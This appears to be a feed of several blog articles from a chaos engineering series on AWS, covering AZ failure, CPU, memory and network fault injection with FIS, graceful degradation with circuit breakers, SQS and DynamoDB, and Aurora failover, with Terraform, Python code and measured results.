Our first attempt failed immediately with “the following alarms were not in state OK.” The experiment has a CloudWatch stop condition on the healthy-host-count alarm, and FIS refuses to start an experiment whose stop-condition alarm is already in ALARM. Right after deployment, while the four instances were still passing their first health checks, that alarm had not settled to OK yet. The fix is simple: wait for your stop-condition alarms to be OK before starting. It is worth knowing, because the error looks like a permissions problem and is not.

The Hypothesis

Hypothesis: Because the architecture is statically stable (two instances already running in the surviving AZ, a Multi-AZ database), losing us-east-1a will be survivable: the two instances in us-east-1b carry the load and Aurora promotes its reader. We expected some disruption during detection, but no sustained outage.

A probe hits /products twice a second and records status and latency. We capture a baseline, start the AZ interruption, and probe through the loss and recovery.

The Results

Baseline, healthy: 58 requests, zero failures, p95 of 227 ms.

During the AZ interruption: 266 requests, 255 succeeded, 11 failed , and every failure was a ten-second client timeout (status 0), clustered in a window from 16:26:14 to 16:28:01, about one minute and forty-seven seconds :

16:26:14 TIMEOUT (10.1s)
16:26:25 TIMEOUT (10.1s)
16:26:36 TIMEOUT (10.1s)
   ... eleven of these ...
16:28:01 TIMEOUT (10.1s)
then back to 200 OK

After the window, the service returned to normal and /products answered 200. The architecture survived: the two instances in us-east-1b kept serving, and Aurora promoted its reader so writes continued.

What the Roughly Two-Minute Window Tells Us

Static stability worked, and that is the headline: we lost an entire Availability Zone and the service recovered on its own, with no scaling action and no human. But “survived” is not “no impact,” and the eleven ten-second timeouts are the part worth dwelling on.

Those timeouts are the signature of a real power loss rather than a clean shutdown. When we blackholed the AZ’s subnet, packets to the stopped instances were dropped, not rejected. A request the load balancer had already routed to a us-east-1a instance got no TCP reset; it simply waited until the client gave up ten seconds later. This is exactly how a real AZ power event behaves, and it is why it is more dangerous than a graceful instance stop: the load balancer cannot get a fast failure signal, so it keeps a dead target in rotation until its health checks time out and cross the unhealthy threshold. During that detection window, the fraction of traffic still hashed to the dead AZ hangs for the full client timeout.

The lesson is that static stability protects your capacity but not your detection window. You provisioned us-east-1b to carry the load, and it did. But for the minute or two it takes the load balancer to notice us-east-1a is gone, the unlucky requests already in flight to it black-hole. Reducing that window is a separate piece of work from static stability:

Tighter health checks (shorter interval, lower unhealthy threshold) shrink the detection window, at the cost of more sensitivity to transient blips.
Aggressive client and connection timeouts turn a ten-second hang into a fast failure the caller can retry against a healthy AZ.
Amazon Application Recovery Controller (ARC) zonal shift is the real fix. Instead of waiting for health checks to discover the dead AZ, you proactively shift traffic away from it with a single action, and ARC removes that AZ’s targets from the load balancer’s DNS immediately. ARC zonal autoshift can even do this automatically when AWS detects an AZ impairment. That collapses the detection window to near zero, which is why it exists.

The Database Side

The Aurora failover is the other half of surviving an AZ loss, and it is why the cluster has a reader in the second AZ with promotion_tier = 1. When the writer's AZ fails, Aurora promotes that reader to writer. A single-AZ database would have turned this experiment into a hard outage the moment the writer's zone went dark, with no failover target and nothing the compute tier could do about it. Multi-AZ on the data tier is not optional for AZ survival; it is the precondition.

What Is Next

We have now survived the loss of an entire Availability Zone, and seen that static stability buys you capacity but not instant detection. But an AZ is still inside one Region. In Article 7 , we go after the dependencies an application leans on without thinking, S3 and DynamoDB endpoints and the APIs themselves, and watch what happens when those degrade underneath a service that assumed they were always there.

Cleanup

cd chaos-on-aws/06-availability-zone-failure/terraform
terraform destroy

Tear the lab down when you are done so it does not run up a bill.

References

Chaos Engineering on AWS: CPU, Memory, and Network Faults with AWS FIS and SSM

Tarek CHEIKH — Fri, 10 Jul 2026 05:46:14 +0000

This is Article 5 in the “Chaos Engineering on AWS” series. We stop killing instances and start degrading the whole fleet: CPU saturation, memory pressure, injected network latency, and packet loss. One pair of faults turns a healthy service into seven-second page loads while every error dashboard stays green.

Gray Failures Are Worse Than Outages

Articles 1 through 4 dealt with binary failures: an instance is stopped, a database fails over, a backend disappears. Real systems usually die more quietly. CPU saturates. Memory fills. A network path starts dropping packets. The component is still there, still answering health checks, just slow. These gray failures are more dangerous than clean outages, because your error rate stays at zero and your dashboards stay green while customers abandon their carts.

In this article we inject four faults across both instances of our fleet at once and measure request latency. The application is the Chaos Shop from earlier articles: instances behind an ALB, backed by Aurora. Code at github.com/TocConsulting/chaos-on-aws, in 05-stress-and-network-faults/terraform/.

Hit the Whole Fleet, Not One Instance

The single most common mistake with FIS is targeting one instance out of many. If you stop or stress one of two instances, the load balancer simply routes around it and you see almost nothing. That is not resilience; it is a measurement artifact. To learn anything about how the service degrades, the fault has to hit enough of the fleet that there is nowhere to hide. We use selection_mode = "ALL" so every instance is degraded simultaneously.

An Important Detail: These Are SSM Documents, Not FIS Actions

AWS FIS does not have a first-class action called aws:ec2:cpu-stress or aws:ec2:network-latency. Instance-level resource stress and network faults are delivered through the generic action aws:ssm:send-command, pointed at an AWS-owned SSM document named AWSFIS-Run-*. Those documents run stress-ng (CPU, memory, IO) or tc and iptables (network) on the instance.

Two prerequisites follow from that:

The target instance must run the SSM Agent (pre-installed on Amazon Linux 2023) and carry an instance profile with AmazonSSMManagedInstanceCore.
The FIS experiment role needs ssm:SendCommand on the instances and the AWSFIS-Run-* documents, plus permission to list and cancel commands.

Here is the CPU stress experiment. The action is aws:ssm:send-command; the actual fault is named in documentArn; and the target selects every instance:

resource "aws_fis_experiment_template" "cpu_stress" {
  description = "Saturate CPU on the whole fleet for 120s"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "cpu-stress"
    action_id = "aws:ssm:send-command"
    parameter {
      key = "documentArn"
      value = "arn:aws:ssm:${var.region}::document/AWSFIS-Run-CPU-Stress"
    }
    parameter {
      key = "documentParameters"
      value = jsonencode({ DurationSeconds = "120", LoadPercent = "100", InstallDependencies = "True" })
    }
    parameter {
      key = "duration"
      value = "PT3M"
    }
    target {
      key = "Instances"
      value = "chaos-lab-instances"
    }
  }

  target {
    name = "chaos-lab-instances"
    resource_type = "aws:ec2:instance"
    selection_mode = "ALL"
    resource_tag {
      key = "Project"
      value = "chaos-lab"
    }
    filter {
      path = "State.Name"
      values = ["running"]
    }
  }

  stop_condition {
    source = "aws:cloudwatch:alarm"
    value = aws_cloudwatch_metric_alarm.unhealthy_hosts.arn
  }
}

The other three are identical except for the document and parameters: AWSFIS-Run-Memory-Stress (Percent = "80"), AWSFIS-Run-Network-Latency (DelayMilliseconds = "200"), and AWSFIS-Run-Network-Packet-Loss (LossPercent = "15").

One Gotcha That Cost Us a Run: the Network Interface Name

The network documents take an Interface parameter that defaults to eth0. On Amazon Linux 2023 running on Nitro, the primary interface is ens5. Our first attempt at the network experiments failed with an SSM error because tc was pointed at an interface that does not exist. Set Interface = "ens5":

value = jsonencode({ DelayMilliseconds = "200", Interface = "ens5", DurationSeconds = "120", InstallDependencies = "True" })

An experiment that silently fails to inject is worse than no experiment, because it gives you false confidence. Always confirm the fault landed and that you can see its effect.

The Results

The traffic generator hits /products (which reads all ten products from Aurora on every call) twice a second and records latency. We capture a baseline, then start the fault across the whole fleet and capture latency during it. Real numbers from a live run:

Fault (entire fleet) | Baseline p95 | During p95 | During p99 | During max
------------------------+--------------+------------+------------+-----------
CPU stress 100% | 305 ms | 208 ms | 217 ms | 237 ms
Memory stress 80% | 202 ms | 205 ms | 235 ms | 260 ms
Network latency +200 ms | 224 ms | 2825 ms | 3545 ms | 3828 ms
Packet loss 15% | 238 ms | 2275 ms | 4847 ms | 6997 ms

The network faults killed the service

Two hundred milliseconds of injected latency on every instance pushed p95 from 224 ms to 2825 ms , and the worst responses approached four seconds. Fifteen percent packet loss was even more violent: p99 of 4847 ms and a worst case of seven seconds , because dropped packets trigger TCP retransmission timeouts measured in whole seconds. Every product page now took between two and seven seconds to load. No human waits seven seconds for a product list, and no checkout survives it. By any service-level objective, the service was down.

Here is the dangerous part: throughout both network experiments, the HTTP status was 200 OK and the error rate was zero. If your alerting watches 5xx rates, it never fired. If your dashboard shows availability as “percentage of non-error responses,” it showed 100 percent. The service was effectively dead and every error-based signal said it was perfectly healthy. That is a gray failure, and it is exactly why chaos engineering measures latency percentiles, not just error counts.

CPU and memory stress did nothing, and that is the lesson

Saturating the CPU at 100 percent and memory at 80 percent on every instance changed the latency distribution almost not at all. The fault landed (stress-ng was pegging both instances), but the application did not care, because /products is database-bound. The Flask process spends its time waiting on the Aurora round trip, not burning CPU. Stressing a resource the workload is not bottlenecked on shows you nothing.

This is not a reason to skip CPU and memory faults. It is the reason to run all of them: you cannot guess which fault matters; you have to inject each one and measure. For this database-bound read path the bottleneck is the network and the database round trip, so network faults are catastrophic and compute faults are invisible. For a CPU-bound service (image processing, encryption, heavy serialization) the table would be inverted. The only way to know your bottleneck is to attack each resource and watch what moves.

Why the p95 and p99 Matter, Not the Average

During the network latency fault, the median (p50) was 203 ms, barely above baseline. If you watched only the average or the median, you would have concluded the fault was mild. The catastrophe was entirely in the tail, where p95 was 2.8 seconds and p99 was 3.5. Averages hide the experience of your unluckiest users, and during a gray failure your unluckiest users are most of your traffic. Every dashboard in this series tracks p99 for exactly this reason.

Deploy and Run

cd chaos-on-aws/05-stress-and-network-faults/terraform
terraform init
terraform apply

aws fis start-experiment --experiment-template-id $(terraform output -raw fis_packet_loss_id)

Watch p99 latency on the CloudWatch dashboard while the experiment runs. Give the SSM document a few seconds to install stress-ng or configure tc on the first run.

What Is Next

We degraded an entire fleet and learned that the fault which matters is the one that hits your real bottleneck, and that a service can be completely dead while every error metric reads green. But the fleet still lived in one Availability Zone. In Article 6 , we raise the blast radius to a whole AZ using the AWS FIS AZ power-interruption scenario and Application Recovery Controller, and test whether a multi-AZ architecture is as resilient as the diagram claims.

Cleanup

terraform destroy

Tear the lab down when you are done so it does not run up a bill.

References

Chaos Engineering on AWS: Graceful Degradation with Circuit Breakers, SQS, and a DynamoDB Cache

Tarek CHEIKH — Wed, 08 Jul 2026 19:58:30 +0000

This is Article 4, the finale of the “Chaos Engineering on AWS” series. We take the database completely away from the application and make the application survive it: serve reads from a cache, accept writes into a queue, and lose nothing.

Where Article 3 Left Us

In Article 3, we forced an Aurora failover and watched a naive application break permanently. Then we fixed it with RDS Proxy, read/write separation, and retry logic, turning a permanent outage into a ten-second blip. But we ended on a warning: RDS Proxy and retries only help when there is a healthy backend to reconnect to. If Aurora is gone entirely, the proxy has nothing to route to, and retry logic just retries into nothing.

This article is about that case: an extended, complete database outage. Not a failover that resolves in seconds, but a backend that is simply not there. The question is whether the application can stay useful to customers anyway. The answer is yes, but only if you design for it. We will add three patterns and prove they work by taking the database away on a live AWS account.

The full code is at github.com/TocConsulting/chaos-on-aws, in the 04-graceful-degradation/terraform/ directory.

The Three Patterns

Graceful degradation means the application keeps doing something useful when a dependency fails, instead of returning errors. We add three patterns to Chaos Shop, all gated behind a single Terraform variable enable_degradation so we can deploy the application with and without them and compare.

Circuit breaker. After a few consecutive database failures, stop trying the database for a while. Fail fast to the fallback instead of making every request wait for a timeout. This is what prevents a database outage from cascading into a thread-pool and connection-pool exhaustion in the application tier.
DynamoDB read cache. Product reads are cached in DynamoDB on every successful database read (write-through). When the circuit is open, reads are served from the cache. Stale product data is far better than a 500 error.
SQS write buffer. When the database is unreachable, orders are written to an SQS queue and the customer gets an immediate “order accepted” response. A Lambda recovery worker drains the queue into Aurora once the database is back. No order is lost.

The Circuit Breaker

The circuit breaker is plain module-level state guarded by a lock. It has three states. CLOSED is normal: requests go to the database. After _cb_failure_threshold consecutive failures it trips to OPEN, and every request fails fast to the fallback without touching the database. After _cb_recovery_timeout seconds it moves to HALF_OPEN and lets one request through to test the database; success closes the circuit, failure opens it again.

_cb_state = "CLOSED"
_cb_failure_count = 0
_cb_failure_threshold = 3
_cb_last_failure_time = 0.0
_cb_recovery_timeout = int(os.environ.get("CB_RECOVERY_TIMEOUT", "30"))
_cb_lock = threading.Lock()


def circuit_breaker_allow():
    """Check if the circuit breaker allows the request through."""
    global _cb_state
    with _cb_lock:
        if _cb_state == "CLOSED":
            return True
        if _cb_state == "OPEN":
            if time.time() - _cb_last_failure_time >= _cb_recovery_timeout:
                _cb_state = "HALF_OPEN"
                return True
            return False
        return True


def circuit_breaker_failure():
    """Record a failed database operation."""
    global _cb_state, _cb_failure_count, _cb_last_failure_time
    with _cb_lock:
        _cb_failure_count += 1
        _cb_last_failure_time = time.time()
        if _cb_failure_count >= _cb_failure_threshold:
            _cb_state = "OPEN"

Without a circuit breaker, every request during an outage waits for its connection timeout before failing. At a hundred requests per second with a five-second timeout, you exhaust your worker pool almost immediately, and the database outage becomes an application outage. The circuit breaker is what keeps the application responsive while the database is down.

The DynamoDB Read Cache

Every successful product read writes the result back to DynamoDB (write-through). When the circuit is open, the read handler serves from DynamoDB instead of the database.

@app.route("/products")
def list_products():
    if not circuit_breaker_allow():
        cached = get_products_from_dynamodb()
        if cached is not None:
            return jsonify({
                "products": cached,
                "count": len(cached),
                "source": "cache",
                "served_by": INSTANCE_ID,
            })
        return jsonify({"error": "database unavailable, cache empty"}), 503
    # ... normal path: read from the database via the proxy reader endpoint,
    # then cache_products_to_dynamodb(products) ...

The source field in the response tells you where the data came from: database or cache. During the experiment we count how many reads were served from each, which is how we measure the cache actually doing its job.

The SQS Write Buffer and Lambda Recovery Worker

When the circuit is open, the order handler does not try the database. It sends the order to SQS and returns 202 Accepted.

if not circuit_breaker_allow():
            if send_order_to_sqs(product_id, quantity):
                return jsonify({
                    "status": "accepted",
                    "message": "order queued for processing",
                    "product_id": product_id,
                    "quantity": quantity,
                    "served_by": INSTANCE_ID,
                }), 202
            return jsonify({"error": "database unavailable and queue failed"}), 503

The order is now durable in SQS. A Lambda function, triggered by the queue with batch_size = 1 for transactional safety, drains each message into Aurora through RDS Proxy using the same stock-decrement transaction the web app uses. The worker distinguishes two outcomes. A transient failure, such as the database still being unreachable, raises an exception, so SQS redelivers the message; it is retried up to ten times (our maxReceiveCount) and only then lands in the dead letter queue. A business rejection, such as the product not existing or being out of stock, is a valid result, not an error: the worker returns normally and SQS deletes the message, so it is never retried and never reaches the dead letter queue.

def handler(event, context):
    """SQS Lambda handler. Processes one order message per invocation."""
    for record in event["Records"]:
        body = json.loads(record["body"])
        product_id = int(body["product_id"])
        quantity = int(body["quantity"])
        conn = get_connection()
        try:
            success, result = process_order(conn, product_id, quantity)
            # business rejections (insufficient stock) are not retried;
            # connection failures raise, so SQS redelivers the message
        finally:
            conn.close()
    return {"statusCode": 200}

The customer got an immediate response. The actual write happens asynchronously when the database is healthy. The tradeoff is eventual consistency: the confirmation means “we have your order,” not “your order is committed.” For most e-commerce flows that is the right tradeoff, because the alternative is losing the order entirely.

The Terraform

All three patterns and their resources are gated on enable_degradation, so the same code deploys the fragile version (false) and the resilient version (true).

resource "aws_sqs_queue" "order_buffer" {
  count = var.enable_degradation ? 1 : 0
  name = "chaos-lab-order-buffer"
  visibility_timeout_seconds = 90
  receive_wait_time_seconds = 20
  redrive_policy = jsonencode({
    deadLetterTargetArn = aws_sqs_queue.order_buffer_dlq[0].arn
    maxReceiveCount = 10
  })
}

resource "aws_dynamodb_table" "product_cache" {
  count = var.enable_degradation ? 1 : 0
  name = "chaos-lab-product-cache"
  billing_mode = "PAY_PER_REQUEST"
  hash_key = "id"
  attribute {
    name = "id"
    type = "N"
  }
}

resource "aws_lambda_event_source_mapping" "order_buffer" {
  count = var.enable_degradation ? 1 : 0
  event_source_arn = aws_sqs_queue.order_buffer[0].arn
  function_name = aws_lambda_function.recovery_worker[0].arn
  batch_size = 1
}

A Lesson Before the Experiment: Make Initialization Resilient

The application creates and seeds its tables at startup with an init_db() function. The first version of this lab ran it once at boot, caught any exception, and logged "will retry on first request." It never actually retried. That is a trap. The application talks to Aurora through RDS Proxy, and a proxy can take a few minutes to become fully available after deployment. If the first init_db() attempt runs before the proxy is ready, it fails, the tables are never created, and the application returns 500 forever even though the connection later succeeds, because nothing ever tries to create the tables again.

The fix is to retry initialization in a background thread so the worker can start serving its health check immediately while initialization keeps trying until it succeeds.

def _init_db_with_retry():
    """Keep trying to create and seed the tables until it succeeds.

    Runs in a background thread so the worker serves /health immediately even
    while the RDS Proxy and Aurora are still becoming available after a deploy.
    """
    delay = 2
    while True:
        try:
            init_db()
            print("Database initialized.")
            return
        except Exception as e:
            print(f"Database not ready yet, retrying init in {delay}s: {e}")
            time.sleep(delay)
            delay = min(delay * 2, 30)


threading.Thread(target=_init_db_with_retry, daemon=True).start()

This is itself a chaos engineering finding. We only discovered the fragility because the deployed application would not serve traffic, and we had to ask why. A blocking retry at startup would have been worse: gunicorn kills a worker that takes too long to boot, so the retry has to be in the background.

How to Actually Break the Database

Our first instinct was to use AWS Fault Injection Service with aws:network:disrupt-connectivity to block all traffic to the subnets the database lives in. We deployed dedicated database subnets specifically so FIS could target them, ran the experiment, and watched the application keep working. The "outage" caused almost no failures.

Here is why, and it is worth understanding. The application does not talk to Aurora directly. The Aurora security group only accepts connections from RDS Proxy, so an EC2 instance cannot even open a socket to Aurora. All database traffic goes EC2 to proxy to Aurora. We confirmed this from inside an instance: a direct connection to the Aurora endpoint on port 5432 was refused, while the proxy endpoint was reachable.

The reason the fault did not bite is in how it was scoped. Our template targets only the database subnets, where the Aurora network interfaces live, and the RDS Proxy network interfaces are in a different subnet (the private subnets, alongside the EC2 instances). More importantly, we ran the action with scope = "all", and the FIS documentation is explicit that this scope "denies all traffic entering and leaving the subnet" but "allows intra-subnet traffic, including traffic to and from the network interfaces in the subnet." The action installs a temporary network ACL on the targeted subnets, and a network ACL is stateless and operates per subnet, not per connection. With the fault scoped this way, the proxy-to-Aurora path was not reliably severed, so the application barely noticed.

The lesson is that disrupt-connectivity requires careful scoping to actually isolate a backend, and an RDS Proxy topology, where the proxy and the database sit in different subnets, makes that harder to get right. It is a great fault for compute failures and was exactly right in Articles 1 and 2, but for a reliable, complete database outage in this architecture we needed a fault aimed at the proxy's backend directly rather than at a subnet's network ACL.

The fault that does produce a real, complete backend outage is to remove the proxy’s backend. Deregister the Aurora target from the proxy and the proxy has nothing to route to. Every query through it fails immediately. This is precisely the “no backend to connect to” scenario Article 3 warned about, and it is reliable and reversible.

# Take the backend away: the proxy now has no database to route to.
aws rds deregister-db-proxy-targets \
    --db-proxy-name chaos-lab-proxy \
    --db-cluster-identifiers chaos-lab-aurora

# ... outage holds ...

# Recover: re-register the target. RDS Proxy reconnects, and the Lambda
# worker drains any orders that were buffered in SQS during the outage.
aws rds register-db-proxy-targets \
    --db-proxy-name chaos-lab-proxy \
    --db-cluster-identifiers chaos-lab-aurora

The traffic generator sends three reads and one write per second. After thirty seconds of healthy baseline, we deregister the target, hold the outage for three minutes, then re-register and watch the system recover.

The BEFORE Experiment: No Fallback

Deploy with enable_degradation = false. The application has RDS Proxy, read/write separation, and retry logic from Article 3, but no circuit breaker, no cache, and no queue. Then run the backend outage.

The healthy baseline is clean: ninety-two reads and ninety-two writes, zero failures. Then we take the backend away:

=== BEFORE: backend outage, no degradation ===
Reads: DB=30 CACHE=0 FAIL=12
Writes: OK=31 202_QUEUED=0 STOCK_OUT=0 FAIL=11

Every request that reached the application during the outage and tried the database failed with a 500. Nothing was served from a cache, because there is no cache. No order was queued, because there is no queue. Those twelve failed reads were customers who could not see products, and those eleven failed writes were orders that were simply lost. The retry logic from Article 3 did exactly what Article 3 predicted: it retried into nothing. When we re-registered the target, the application recovered, but the lost orders stayed lost.

The AFTER Experiment: Graceful Degradation

Now deploy the same application with enable_degradation = true and refresh the instances so they pick up the resilient code. Warm the cache with a minute of normal traffic, then run the identical backend outage.

=== AFTER: backend outage, with degradation ===
Reads: DB=51 CACHE=19 FAIL=0
Writes: OK=44 202_QUEUED=23 STOCK_OUT=3 FAIL=0

Zero failures. During the outage, the circuit breaker tripped after three failed database calls, and from then on the application served reads from the DynamoDB cache (nineteen of them) and accepted writes into SQS (twenty-three of them, each returning 202 Accepted). Not a single customer saw an error. The three STOCK_OUT writes are normal "insufficient stock" 409 responses from the healthy portions of the run, not outage failures: they are a correct business rejection, not a 500.

Then we re-registered the proxy target and checked the queue:

SQS remaining: 0 DLQ: 0

The Lambda recovery worker drained all twenty-three buffered orders into Aurora. None failed, none landed in the dead letter queue. The orders that would have been lost in the BEFORE run were all committed once the database came back. Zero orders lost.

BEFORE vs AFTER

BEFORE (no degradation) AFTER (with degradation) Read failures during outage 12 (500 errors) 0 Reads served from cache 0 (no cache) 19 Write failures during outage 11 (orders lost) 0 Orders buffered to SQS 0 (no queue) 23 Orders lost 11 0 (all drained to Aurora) Customer experience Errors and timeouts Served, no visible error

The exact counts vary from run to run with traffic timing, but the shape is always the same: without degradation, a backend outage means errors and lost orders; with it, the application stays useful and nothing is lost.

What This Series Taught Us

Across four articles we started with a single stopped EC2 instance and ended with a complete database outage that the application survived without losing data. The throughline is the same every time: the architecture diagram is a hypothesis, and the only way to know whether it holds is to run the experiment.

Article 1 showed that even a simple instance stop has a detection window where real requests fail.
Article 2 added the observability and stop conditions that make experiments safe to run.
Article 3 proved RDS Proxy and retries turn an Aurora failover from a permanent outage into a ten-second blip, and warned that they cannot help when the backend is gone.
Article 4 handled exactly that case with a circuit breaker, a cache, and a queue, and proved no order is lost.

Two of the most useful findings in this article were not the patterns themselves but the surprises along the way: that one-shot initialization leaves an application permanently broken if its dependency is slow to start, and that a subnet-scoped disrupt-connectivity does not reliably cut an RDS Proxy's path to the database when the proxy and the database sit in different subnets. Neither was on any diagram. Both showed up only because we deployed the real thing and broke it on purpose. That is the entire point of chaos engineering.

Cleanup

cd chaos-on-aws/04-graceful-degradation/terraform
terraform destroy -var="enable_degradation=true"

RDS Proxy, the Lambda, the SQS queues, the DynamoDB table, and the Aurora cluster all delete in a few minutes. As with every article in this series, tear the lab down when you are done so it does not run up a bill.

References

Chaos Engineering on AWS: Database Resilience with Aurora Failover, RDS Proxy, and Read/Write…

Tarek CHEIKH — Wed, 08 Jul 2026 19:57:58 +0000

Chaos Engineering on AWS: Database Resilience with Aurora Failover, RDS Proxy, and Read/Write Separation

This is Article 3 in the “Chaos Engineering on AWS” series. We force an Aurora failover, watch the application permanently break, then fix it with RDS Proxy, read/write separation, and retry logic.

From Compute to Data

In Articles 1 and 2, we tested compute failures. We stopped and terminated EC2 instances, watched the ALB route around them, and measured the detection window. The database was never the problem because we never touched it.

That changes now. Compute is stateless. If an EC2 instance dies, the ASG launches another one. But when the database fails, every instance in the fleet loses the ability to read or write data. Orders fail. Product pages return errors. The entire application goes down, not because the servers are broken, but because the one thing they all depend on is gone.

The question for this article: when we force an Aurora failover, what actually happens to Chaos Shop? Do the connections recover? How many orders get lost? Does the app come back on its own, or does someone need to restart it?

The full code is at github.com/TocConsulting/chaos-on-aws, in the 03-database-resilience/terraform/ directory.

The Architecture (BEFORE)

We deploy Aurora with a writer instance and a reader instance. EC2 connects directly to the Aurora writer endpoint. No proxy, no retry logic, one persistent connection per Gunicorn worker. The variable enable_proxy defaults to false. This is what most people deploy.

The Aurora cluster and both instances:

resource "aws_rds_cluster" "main" {
  cluster_identifier = "chaos-lab-aurora"
  engine = "aurora-postgresql"
  engine_mode = "provisioned"
  engine_version = "16.8"
  database_name = var.db_name
  master_username = var.db_username
  master_password = random_password.db.result
  db_subnet_group_name = aws_db_subnet_group.main.name
  vpc_security_group_ids = [aws_security_group.aurora.id]
  skip_final_snapshot = true
  apply_immediately = true

  serverlessv2_scaling_configuration {
    min_capacity = 0.5
    max_capacity = 2
  }

  tags = {
    Name = "chaos-lab-aurora"
  }
}

resource "aws_rds_cluster_instance" "writer" {
  identifier = "chaos-lab-aurora-writer"
  cluster_identifier = aws_rds_cluster.main.id
  instance_class = "db.serverless"
  engine = aws_rds_cluster.main.engine
  engine_version = aws_rds_cluster.main.engine_version

  tags = {
    Name = "chaos-lab-aurora-writer"
  }
}

# Reader instance: failover target. promotion_tier = 1 means Aurora
# promotes this instance first when the writer fails.
resource "aws_rds_cluster_instance" "reader" {
  identifier = "chaos-lab-aurora-reader"
  cluster_identifier = aws_rds_cluster.main.id
  instance_class = "db.serverless"
  engine = aws_rds_cluster.main.engine
  engine_version = aws_rds_cluster.main.engine_version
  promotion_tier = 1

  tags = {
    Name = "chaos-lab-aurora-reader"
  }
}

The security group chain enforces the traffic flow. ALB accepts HTTP from the internet. EC2 accepts HTTP from the ALB. Aurora accepts PostgreSQL from EC2 directly (when enable_proxy = false):

# Aurora: accepts connections from RDS Proxy (when enabled) or EC2 directly (when disabled)
resource "aws_security_group" "aurora" {
  name_prefix = "chaos-lab-aurora-"
  vpc_id = aws_vpc.main.id

  ingress {
    description = var.enable_proxy ? "PostgreSQL from RDS Proxy" : "PostgreSQL from EC2 instances"
    from_port = 5432
    to_port = 5432
    protocol = "tcp"
    security_groups = var.enable_proxy ? [aws_security_group.rds_proxy[0].id] : [aws_security_group.ec2.id]
  }

  tags = {
    Name = "chaos-lab-aurora-sg"
  }

  lifecycle {
    create_before_destroy = true
  }
}

One detail worth calling out in the compute layer: the ASG has a depends_on on the writer instance. The launch template references the Aurora cluster endpoint, which exists as soon as the cluster is created. But that endpoint does not serve traffic until the writer instance finishes provisioning. Without this dependency, EC2 instances launch, the app tries to connect, gets "connection refused", and the health check fails.

resource "aws_autoscaling_group" "app" {
  name = "chaos-lab-asg"
  min_size = var.asg_min
  max_size = var.asg_max
  desired_capacity = var.asg_desired
  vpc_zone_identifier = aws_subnet.private[*].id
  target_group_arns = [aws_lb_target_group.main.arn]
  health_check_type = "ELB"
  health_check_grace_period = 120

  # EC2 instances must not launch until the Aurora writer instance is
  # accepting connections. The launch template references the cluster
  # endpoint (available at cluster creation), but that endpoint does
  # not serve traffic until the writer instance is fully provisioned.
  depends_on = [aws_rds_cluster_instance.writer]

  launch_template {
    id = aws_launch_template.app.id
    version = "$Latest"
  }

  tag {
    key = "Name"
    value = "chaos-lab-app"
    propagate_at_launch = true
  }

  tag {
    key = "Project"
    value = "chaos-lab"
    propagate_at_launch = true
  }
}

The naive application code (the else branch when enable_proxy = false) uses a single persistent connection with no health check and no retry:

_worker_conn = None


def get_db_connection():
    """Return the worker's persistent DB connection, creating one if needed.

    This is how most applications handle database connections: create once,
    reuse forever. There is no health check and no reconnection logic. If
    the connection breaks mid-query (e.g. during a failover), the request
    fails with a 500 error.
    """
    global _worker_conn
    if _worker_conn is None:
        _worker_conn = pg8000.connect(
            host=DB_ENDPOINT,
            port=DB_PORT,
            database=DB_NAME,
            user=DB_USERNAME,
            password=DB_PASSWORD,
        )
        _worker_conn.autocommit = True
    return _worker_conn

The FIS experiment template targets the Aurora cluster directly:

# Experiment: Force Aurora failover.
# Aurora promotes the reader instance to writer. The old writer
# becomes a reader. This tests whether the application handles
# the DNS endpoint change and stale connections gracefully.
resource "aws_fis_experiment_template" "failover_aurora" {
  description = "Force Aurora failover to test database resilience"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "failover-cluster"
    action_id = "aws:rds:failover-db-cluster"

    target {
      key = "Clusters"
      value = "chaos-lab-aurora"
    }
  }

  target {
    name = "chaos-lab-aurora"
    resource_type = "aws:rds:cluster"
    selection_mode = "ALL"

    resource_arns = [aws_rds_cluster.main.arn]
  }

  stop_condition {
    source = "aws:cloudwatch:alarm"
    value = aws_cloudwatch_metric_alarm.unhealthy_hosts.arn
  }

  tags = {
    Name = "chaos-lab-failover-aurora"
  }
}

Deploy with enable_proxy = false (the default). The apply prints outputs like these (your ALB DNS, endpoints, and experiment id will differ from run to run):

Apply complete! Resources: 42 added, 0 changed, 0 destroyed.

alb_dns_name = "chaos-lab-alb-1454199242.us-east-1.elb.amazonaws.com"
aurora_writer_endpoint = "chaos-lab-aurora.cluster-c1l11rt7ly8s.us-east-1.rds.amazonaws.com"
aurora_reader_endpoint = "chaos-lab-aurora.cluster-ro-c1l11rt7ly8s.us-east-1.rds.amazonaws.com"
fis_failover_aurora_id = "EXT4ficHJwzn6pyvQ"

Verify the app is working (a representative response):

$ curl -s $ALB_URL/health/deep
{"database":"connected","latency_ms":130.78,"status":"healthy"}

$ curl -s $ALB_URL/products | python3 -m json.tool
{
    "count": 10,
    "db_latency_ms": 169.39,
    "products": [
        {"id": 1, "name": "Wireless Keyboard", "price": 49.99, "stock": 100},
        {"id": 2, "name": "USB-C Hub", "price": 34.99, "stock": 150},
        ...
    ]
}

Everything works. The app connects directly to the Aurora writer endpoint. Reads and writes both go through the same connection. Let us break it.

The BEFORE Experiment: Permanent Failure

The hypothesis: when Aurora fails over, the app will return errors for a few seconds while connections reset, then recover once DNS updates propagate.

The traffic generator sends 3 reads and 1 write per second for 120 seconds. Each write creates an order for USB-C Hub (product_id 2, starting stock 150). This gives us a clean way to count lost orders: compare the final stock to the number of confirmed orders. The generator prints a STATUS line every few seconds in the form reads=ok/fail writes_ok=.. writes_409=.. writes_fail=.., where 409 is the expected "insufficient stock" business response and writes_fail is a real failure.

The orchestrator (scripts/run-failover.sh) waits for two healthy hosts, starts the traffic generator, then triggers the failover 30 seconds in:

=== trigger Aurora failover at 22:43:37 UTC ===
experiment_id=EXPKoZg241ixaEh4H8

For the first half-minute, everything looks normal. The STATUS lines (printed on the traffic host, whose wall clock runs two hours ahead of the UTC trigger above) climb steadily with zero failures:

00:43:55 STATUS: reads=81/0 writes_ok=27 writes_409=0 writes_fail=0
00:44:07 STATUS: reads=99/0 writes_ok=32 writes_409=0 writes_fail=1

The first failure lands at 00:44:07, about 30 seconds after the trigger (the trigger's 22:43:37 UTC is 00:43:37 on the traffic host's clock). From there every request fails with a 500:

00:44:07 WRITE 500 FAIL
00:44:08 READ 500 FAIL
00:44:08 READ 500 FAIL
00:44:09 READ 500 FAIL
00:44:09 WRITE 500 FAIL
00:44:10 READ 500 FAIL
00:44:10 READ 500 FAIL
00:44:10 READ 500 FAIL
00:44:11 WRITE 500 FAIL
...
00:45:08 READ 500 FAIL
00:45:08 WRITE 500 FAIL

